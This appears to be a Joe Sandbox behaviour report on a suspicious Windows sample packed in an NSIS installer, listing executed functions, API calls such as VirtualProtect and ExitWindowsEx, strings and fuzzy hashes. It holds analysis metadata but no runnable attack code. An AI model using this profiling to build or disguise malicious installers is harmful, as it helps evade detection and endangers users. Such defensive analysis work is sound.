Snapshot File: hcaresult_17_2_11d0000_Wzy1vqDHala63jbsaIZzYTRV.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 10e4b66efe2d4d0819f3a8e53b20cd7c1965c720a1d15c033e936a9624fb690f
Instruction ID: d1fd47ad75414a52d259890b06c381610a4049ff79102e543ab282dcfddd2ad9
Opcode Fuzzy Hash: 10e4b66efe2d4d0819f3a8e53b20cd7c1965c720a1d15c033e936a9624fb690f
Instruction Fuzzy Hash: B5C16B71E042189FCB06CBA8C590AEDFBF2AF4D314F288595E858E7246C775AD41CBA4

Function 011D04F0 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03D03590,?,?,?,?,?,?,?,03D03590,?,?,011D0A21,?,00000040), ref: 011D0F31

Memory Dump Source

Source File: 00000011.00000002.1605704324.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_11d0000_Wzy1vqDHala63jbsaIZzYTRV.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f0475355b2d9aa697c82ea9ee5fc88e92e533d571f2aa07f78c119a4987cb1e8
Instruction ID: ea9b6d7d91949f003263baab4a262309d0b465c34428485e478ce32d1039305d
Opcode Fuzzy Hash: f0475355b2d9aa697c82ea9ee5fc88e92e533d571f2aa07f78c119a4987cb1e8
Instruction Fuzzy Hash: 7721FFB5D0125DAFCB10DF9AC984ADEFBB4FB48310F10816AE918A7340C3B5A954CFA1

Function 00F6D005 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1597388815.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f6d000_Wzy1vqDHala63jbsaIZzYTRV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4df9c86f09c37ac938bd0a75a7960155d9b92ec993f1c5f3f22904ee72ac938e
Instruction ID: 88b4f81d61c80749684bbc6308c423a3ab7c134ee0e4b00d46ce8971fda2ea3b
Opcode Fuzzy Hash: 4df9c86f09c37ac938bd0a75a7960155d9b92ec993f1c5f3f22904ee72ac938e
Instruction Fuzzy Hash: 1E010C6150E3C09FD7128B258894B62BFB8DF53225F1981DBD9888F1E7C2699C49C772

Function 00F6D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1597388815.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f6d000_Wzy1vqDHala63jbsaIZzYTRV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfafc603c60c540903a0f4ba9091cbf146f9f0730d479956f9c68fbce63f6d1c
Instruction ID: 85980e4202a89a78ca2c4259246efed5f2e6e87914ed9153c7d1da5b5411ac33
Opcode Fuzzy Hash: dfafc603c60c540903a0f4ba9091cbf146f9f0730d479956f9c68fbce63f6d1c
Instruction Fuzzy Hash: 1A01F731E04340AAE7204A21CCC4B66BF98DF81335F18C11AEC490F186C2799845EAB1

Analysis Process: yKAghydJJ_QMtGbXeHXJyp3j.exePID: 3824, Parent PID: 2724COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00403899 Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038B8
SetErrorMode.KERNELBASE(00008001), ref: 004038C3
OleInitialize.OLE32(00000000), ref: 004038CA

Part of subcall function 00406312: GetModuleHandleA.KERNEL32(?,?,00000020,004038DC,00000008), ref: 00406320
Part of subcall function 00406312: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038DC,00000008), ref: 0040632B
Part of subcall function 00406312: GetProcAddress.KERNEL32(00000000), ref: 0040633D

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038F2

Part of subcall function 0040601F: lstrcpynW.KERNEL32(?,?,00002004,00403907,007E95E0,NSIS Error), ref: 0040602C

GetCommandLineW.KERNEL32(007E95E0,NSIS Error), ref: 00403907
GetModuleHandleW.KERNEL32(00000000,008420A0,00000000), ref: 0040391A
CharNextW.USER32(00000000,008420A0,00000020), ref: 00403941
GetTempPathW.KERNEL32(00002004,008560C8,00000000,00000020), ref: 00403A16
GetWindowsDirectoryW.KERNEL32(008560C8,00001FFF), ref: 00403A2B
lstrcatW.KERNEL32(008560C8,\Temp), ref: 00403A37
DeleteFileW.KERNELBASE(008520C0), ref: 00403A4E
CoUninitialize.COMBASE(?), ref: 00403AE7
ExitProcess.KERNEL32 ref: 00403B07
lstrcatW.KERNEL32(008560C8,~nsu.tmp), ref: 00403B13
lstrcmpiW.KERNEL32(008560C8,0084E0B8,008560C8,~nsu.tmp), ref: 00403B1F
CreateDirectoryW.KERNEL32(008560C8,00000000), ref: 00403B2B
SetCurrentDirectoryW.KERNEL32(008560C8), ref: 00403B32
DeleteFileW.KERNEL32(007B1A20,007B1A20,?,007F6008,00409204,007F2000,?), ref: 00403B83
CopyFileW.KERNEL32(0085E0D8,007B1A20,00000001), ref: 00403B97
CloseHandle.KERNEL32(00000000,007B1A20,007B1A20,?,007B1A20,00000000), ref: 00403BC4
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C1A
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C56

Strings

\Temp, xrefs: 00403A31
NCRC, xrefs: 00403992
_?=, xrefs: 00403A7A
NSIS Error, xrefs: 004038F8
SeShutdownPrivilege, xrefs: 00403C2C
/D=, xrefs: 004039BC
~nsu.tmp, xrefs: 00403B0D
Error launching installer, xrefs: 00403A93

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: 51e6cc7ce2c8c92eb188c52ce46338fcab122280fa7631c11b5295fa70478681
Instruction ID: 930d0106ac8f21ffe7c218431e73a7c1b7ebb2f3f08f251653cedcfd3481038f
Opcode Fuzzy Hash: 51e6cc7ce2c8c92eb188c52ce46338fcab122280fa7631c11b5295fa70478681
Instruction Fuzzy Hash: 67A1E6B1540301AAD720BF619D0AE2B3EACEF50745F15483FF582B61D2DBBD89448B6E

Function 00406312 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038DC,00000008), ref: 00406320
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038DC,00000008), ref: 0040632B
GetProcAddress.KERNEL32(00000000), ref: 0040633D

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 74a8a5aaaf3dd8a694d56da61a16f6303afc7614e5bdd8def9870afc0854d2e9
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: BCD0123120011597D6001B65AE0895F776CEFA5611707803EF942F3131FB34D515A6EC

Function 004062EB Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,007DA700,007D5AF8,004067E4,007D5AF8), ref: 004062F6
FindClose.KERNEL32(00000000), ref: 00406302

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: cfe9f0376b8c8cff23c30bcc19c0e48e947267a495800e31c530dd607e3cc84c
Instruction ID: 5e506215f2711f0e24a615dbcf2ef03c94eb3d964d91be164e4c0db9e35754d2
Opcode Fuzzy Hash: cfe9f0376b8c8cff23c30bcc19c0e48e947267a495800e31c530dd607e3cc84c
Instruction Fuzzy Hash: 80D012315141206FD34017386E4C88B7A68AF063303314B36F4A6F12E0C634CC3786ED

Function 0040548F Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054CB
ShowWindow.USER32(?), ref: 004054E8
DestroyWindow.USER32 ref: 004054FC
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405518
GetDlgItem.USER32(?,?), ref: 00405539
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 0040554D
IsWindowEnabled.USER32(00000000), ref: 00405554
GetDlgItem.USER32(?,00000001), ref: 00405603
GetDlgItem.USER32(?,00000002), ref: 0040560D
SetClassLongW.USER32(?,000000F2,?), ref: 00405627
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405678
GetDlgItem.USER32(?,00000003), ref: 0040571E
ShowWindow.USER32(00000000,?), ref: 00405740
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405752
EnableWindow.USER32(?,?), ref: 0040576D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405783
EnableMenuItem.USER32(00000000), ref: 0040578A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057A2
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057B5
lstrlenW.KERNEL32(007C5A78,?,007C5A78,007E95E0), ref: 004057DE
SetWindowTextW.USER32(?,007C5A78), ref: 004057F2
ShowWindow.USER32(?,0000000A), ref: 00405926

Strings

xZ|, xrefs: 004057CF

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: xZ|
API String ID: 3282139019-3158599731
Opcode ID: 699d8c8571f480e4bdb3d36bb1bab13dd0e7c30a2805178f501066c7cc38f012
Instruction ID: faf43565c4180cbf528e331297302c0a9f4643a65f382e9c74acaf045be3f04a
Opcode Fuzzy Hash: 699d8c8571f480e4bdb3d36bb1bab13dd0e7c30a2805178f501066c7cc38f012
Instruction Fuzzy Hash: A3C19C71401A04FFCB216F61EE89E2B3B69EB49345F40853EF642B52F0CA3A98519F1D

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,?), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,0084A0B0,?,000000E6,0040F0D0,?,?,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: "%s" (%d), xrefs: 004017BF
detailprint: %s, xrefs: 00401679
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
BringToFront, xrefs: 004016BD
Call: %d, xrefs: 0040165A
Aborting: "%s", xrefs: 0040161D
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: "%s" created, xrefs: 00401849
Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename: %s, xrefs: 004018F8
Rename failed: %s, xrefs: 0040194B
SetFileAttributes failed., xrefs: 004017A1
SetFileAttributes: "%s":%08X, xrefs: 0040177B

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: 2334d8fe73ec4b01fb7e5ac695799e8d2c9532c401a49a7834db5fb369bfdc0f
Instruction ID: 748122a4b1e4c8b0444bddd0dc60868c48b22d194fcfef730b64eaf2fe916135
Opcode Fuzzy Hash: 2334d8fe73ec4b01fb7e5ac695799e8d2c9532c401a49a7834db5fb369bfdc0f
Instruction Fuzzy Hash: 3CB1D172A01204EFDB107FA1DD459AE3B78EF05354B25817FF942B62E1DA3D8A40CA6D

Function 00405942 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406312: GetModuleHandleA.KERNEL32(?,?,00000020,004038DC,00000008), ref: 00406320
Part of subcall function 00406312: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038DC,00000008), ref: 0040632B
Part of subcall function 00406312: GetProcAddress.KERNEL32(00000000), ref: 0040633D

lstrcatW.KERNEL32(008520C0,007C5A78,80000001,Control Panel\Desktop\ResourceLocale,00000000,007C5A78,00000000,00000006,008420A0,-00000002,00000000,008560C8,00403AD7,?), ref: 004059C4
lstrlenW.KERNEL32(007E0D60,?,?,?,007E0D60,00000000,008460A8,008520C0,007C5A78,80000001,Control Panel\Desktop\ResourceLocale,00000000,007C5A78,00000000,00000006,008420A0), ref: 00405A46
lstrcmpiW.KERNEL32(007E0D58,.exe,007E0D60,?,?,?,007E0D60,00000000,008460A8,008520C0,007C5A78,80000001,Control Panel\Desktop\ResourceLocale,00000000,007C5A78,00000000), ref: 00405A59
GetFileAttributesW.KERNEL32(007E0D60), ref: 00405A64

Part of subcall function 00405F67: wsprintfW.USER32 ref: 00405F74

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,008460A8), ref: 00405ACD
RegisterClassW.USER32(007E9580), ref: 00405B20
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B38
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B71

Part of subcall function 00403EAB: SetWindowTextW.USER32(00000000,007E95E0), ref: 00403F46

ShowWindow.USER32(00000005,00000000), ref: 00405BA7
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BB8
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BC3
GetClassInfoW.USER32(00000000,RichEdit20A,007E9580), ref: 00405BD3
GetClassInfoW.USER32(00000000,RichEdit,007E9580), ref: 00405BE0
RegisterClassW.USER32(007E9580), ref: 00405BE9
DialogBoxParamW.USER32(?,00000000,0040548F,00000000), ref: 00405C08

Strings

_Nb, xrefs: 00405AE7
xZ|, xrefs: 0040597B
.exe, xrefs: 00405A53
`~, xrefs: 00405A0C
RichEdit, xrefs: 00405BDA
b~, xrefs: 00405A35
RichEd20, xrefs: 00405BB3
.DEFAULT\Control Panel\International, xrefs: 004059AF
Control Panel\Desktop\ResourceLocale, xrefs: 00405988
RichEdit20A, xrefs: 00405BCC, 00405BD1
RichEd32, xrefs: 00405BBE

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$`~$b~$xZ|
API String ID: 608394941-1309837594
Opcode ID: 9f9051f305b5981edc045e04f38835ab473d85c7b7bbd9c3773303b1f27117da
Instruction ID: f5a039cb880b9eaee1ecdf0536d3c824aabf016c99065ad96b2918c6fc8c0824
Opcode Fuzzy Hash: 9f9051f305b5981edc045e04f38835ab473d85c7b7bbd9c3773303b1f27117da
Instruction Fuzzy Hash: 0A718071600605AED710ABA5AD85E3B37ACEB84748F00413EF941B62E2DB7C5C51CE6D

Function 0040359D Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035AE
GetModuleFileNameW.KERNEL32(00000000,0085E0D8,00002004,?,?,?,00000000,00403A5D,?), ref: 004035CA

Part of subcall function 00405E66: GetFileAttributesW.KERNELBASE(00000003,004035DD,0085E0D8,80000000,00000003,?,?,?,00000000,00403A5D,?), ref: 00405E6A
Part of subcall function 00405E66: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A5D,?), ref: 00405E8C

GetFileSize.KERNEL32(00000000,00000000,008620E0,00000000,0084E0B8,0084E0B8,0085E0D8,0085E0D8,80000000,00000003,?,?,?,00000000,00403A5D,?), ref: 00403616

Strings

Null, xrefs: 00403694
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037DB
Inst, xrefs: 00403682
soft, xrefs: 0040368B
Error launching installer, xrefs: 004035ED

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 3615432da17c87c71a0cb76411668bd17e8426081a6d24985fa15272c6dca85e
Instruction ID: 2d5e6ab7a624250aa0c4fc4e0edfbfc1f0b135b6de304195c1858c8edc22daf3
Opcode Fuzzy Hash: 3615432da17c87c71a0cb76411668bd17e8426081a6d24985fa15272c6dca85e
Instruction Fuzzy Hash: A151B5B1900204ABDB209F65DD85BAE7FACEB04756F14853BEA00B72D1D73D9A44CB5C

Function 0040337F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033EB
GetTickCount.KERNEL32 ref: 0040346E
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 0040349B
wsprintfW.USER32 ref: 004034AE
WriteFile.KERNELBASE(00000000,00000000,00427950,0040377C,00000000), ref: 004034DF
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040355C

Strings

... %d%%, xrefs: 004034A8
P1B, xrefs: 004033AB
PyB, xrefs: 0040344B, 00403466, 004034F3

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
